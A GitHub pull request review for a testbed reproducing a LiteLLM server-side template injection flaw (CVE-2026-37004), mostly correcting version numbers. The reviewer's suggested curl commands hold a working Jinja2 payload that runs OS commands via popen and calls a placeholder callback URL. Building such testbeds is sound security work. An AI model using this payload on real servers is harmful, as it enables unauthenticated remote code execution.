Repository navigation
Testbed for LiteLLM CVE-2026-37004 - #272
Open
sanjaymahajan14 wants to merge 1 commit into
Open
sanjaymahajan14 wants to merge 1 commit into
sanjaymahajan14 wants to merge 1 commit into
Conversation
|
|
||
| ## Target Environment & Preconditions | ||
|
|
||
| * **Vulnerable Versions:** LiteLLM `<= 1.82.4` |
Contributor
There was a problem hiding this comment.
What about the gap between versions?
robert-doyensec
suggested changes
Oct 15, 2026
Comment on lines
+66
to
+80
| ```sh | ||
| curl -i -X POST http://localhost:4001/prompts/test \ | ||
| -H "Content-Type: application/json" \ | ||
| -d '{"dotprompt_content": "---\nmodel: gpt-3.5-turbo\n---\n{{ \"\".__class__ }}"}' | ||
| ``` | ||
|
|
||
| Response: | ||
| ```http | ||
| HTTP/1.1 400 Bad Request | ||
| content-type: application/json | ||
|
|
||
| {"detail":"No messages found in rendered prompt"} | ||
| ``` | ||
|
|
||
| The sandboxed Jinja2 environment restricts access to `__class__` as unsafe, preventing the template evaluation and rejecting the prompt request. |
Contributor
There was a problem hiding this comment.
Suggested change
| ```sh | |
| curl -i -X POST http://localhost:4001/prompts/test \ | |
| -H "Content-Type: application/json" \ | |
| -d '{"dotprompt_content": "---\nmodel: gpt-3.5-turbo\n---\n{{ \"\".__class__ }}"}' | |
| ``` | |
| Response: | |
| ```http | |
| HTTP/1.1 400 Bad Request | |
| content-type: application/json | |
| {"detail":"No messages found in rendered prompt"} | |
| ``` | |
| The sandboxed Jinja2 environment restricts access to `__class__` as unsafe, preventing the template evaluation and rejecting the prompt request. | |
| ```sh | |
| curl -i -X POST http://localhost:4001/prompts/test \ | |
| -H "Content-Type: application/json" \ | |
| -d "{\"dotprompt_content\": \"---\nmodel: gpt-3.5-turbo\n---\n{{ lipsum.__globals__['os'].popen('python3 -c \\\"import requests;requests.get(\\\'YOUR_CALLBACK_URL\\\')\\\"').read() }}\"}" | |
| ``` | |
| You will not receive any request to your callback URL. |
Comment on lines
+32
to
+48
| ```sh | ||
| curl -i -X POST http://localhost:4000/prompts/test \ | ||
| -H "Content-Type: application/json" \ | ||
| -d '{"dotprompt_content": "---\nmodel: gpt-3.5-turbo\n---\n{{ \"\".__class__ }}"}' | ||
| ``` | ||
|
|
||
| Response: | ||
| ```http | ||
| HTTP/1.1 200 OK | ||
| content-type: text/event-stream; charset=utf-8 | ||
|
|
||
| data: {"id":"chatcmpl-...","model":"gpt-3.5-turbo","object":"chat.completion.chunk",...} | ||
|
|
||
| data: [DONE] | ||
| ``` | ||
|
|
||
| The template engine processes the expression without sandboxing and returns HTTP 200. |
Contributor
There was a problem hiding this comment.
Suggested change
| ```sh | |
| curl -i -X POST http://localhost:4000/prompts/test \ | |
| -H "Content-Type: application/json" \ | |
| -d '{"dotprompt_content": "---\nmodel: gpt-3.5-turbo\n---\n{{ \"\".__class__ }}"}' | |
| ``` | |
| Response: | |
| ```http | |
| HTTP/1.1 200 OK | |
| content-type: text/event-stream; charset=utf-8 | |
| data: {"id":"chatcmpl-...","model":"gpt-3.5-turbo","object":"chat.completion.chunk",...} | |
| data: [DONE] | |
| ``` | |
| The template engine processes the expression without sandboxing and returns HTTP 200. | |
| ```sh | |
| curl -i -X POST http://localhost:4000/prompts/test \ | |
| -H "Content-Type: application/json" \ | |
| -d "{\"dotprompt_content\": \"---\nmodel: gpt-3.5-turbo\n---\n{{ lipsum.__globals__['os'].popen('python3 -c \\\"import requests;requests.get(\\\'YOUR_CALLBACK_URL\\\')\\\"').read() }}\"}" | |
| ``` | |
| You will receive a request to your callback URL. |
| @@ -0,0 +1,5 @@ | |||
| FROM python:3.11-slim | |||
| RUN pip install --no-cache-dir 'litellm[proxy]==1.83.7' | |||
Contributor
There was a problem hiding this comment.
Suggested change
| RUN pip install --no-cache-dir 'litellm[proxy]==1.83.7' | |
| RUN pip install --no-cache-dir 'litellm[proxy]==1.82.5' |
|
|
||
| LiteLLM versions `<= 1.82.4` are vulnerable to Server-Side Template Injection (SSTI) in the `/prompts/test` endpoint due to the use of an unsandboxed `jinja2.Environment`. When testing or previewing prompt templates via `POST /prompts/test`, user-controlled template content supplied in the `dotprompt_content` parameter is rendered directly by Jinja2 without sandboxing or restriction. An unauthenticated remote attacker can supply crafted Python dunder expressions (such as `.__class__.__mro__`) to escape the template environment and execute arbitrary OS commands on the host server. | ||
|
|
||
| In LiteLLM version `1.83.7-stable` and later, the vulnerability is mitigated by replacing `jinja2.Environment` with `jinja2.sandbox.SandboxedEnvironment`, which restricts access to private and unsafe attributes. |
Contributor
There was a problem hiding this comment.
Suggested change
| In LiteLLM version `1.83.7-stable` and later, the vulnerability is mitigated by replacing `jinja2.Environment` with `jinja2.sandbox.SandboxedEnvironment`, which restricts access to private and unsafe attributes. | |
| In LiteLLM version `1.83.5` and later, the vulnerability is mitigated by replacing `jinja2.Environment` with `jinja2.sandbox.SandboxedEnvironment`, which restricts access to private and unsafe attributes. |
| ## Target Environment & Preconditions | ||
|
|
||
| * **Vulnerable Versions:** LiteLLM `<= 1.82.4` | ||
| * **Patched Version:** LiteLLM `>= 1.83.7-stable` |
Contributor
There was a problem hiding this comment.
Suggested change
| * **Patched Version:** LiteLLM `>= 1.83.7-stable` | |
| * **Patched Version:** LiteLLM `>= 1.82.5` |
| * **Vulnerability Type:** CWE-1336 / CWE-94 (Improper Neutralization of Special Elements used in a Template Engine) | ||
| * **Default Exposed Ports:** | ||
| * `4000` (Vulnerable instance - LiteLLM 1.82.4) | ||
| * `4001` (Patched instance - LiteLLM 1.83.7) |
Contributor
There was a problem hiding this comment.
Suggested change
| * `4001` (Patched instance - LiteLLM 1.83.7) | |
| * `4001` (Patched instance - LiteLLM 1.82.5) |
|
|
||
| ### Setup | ||
|
|
||
| Start the patched LiteLLM container (`1.83.7`) on port 4001: |
Contributor
There was a problem hiding this comment.
Suggested change
| Start the patched LiteLLM container (`1.83.7`) on port 4001: | |
| Start the patched LiteLLM container (`1.82.5`) on port 4001: |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Created testbed for LiteLLM CVE-2026-37004. Please review it.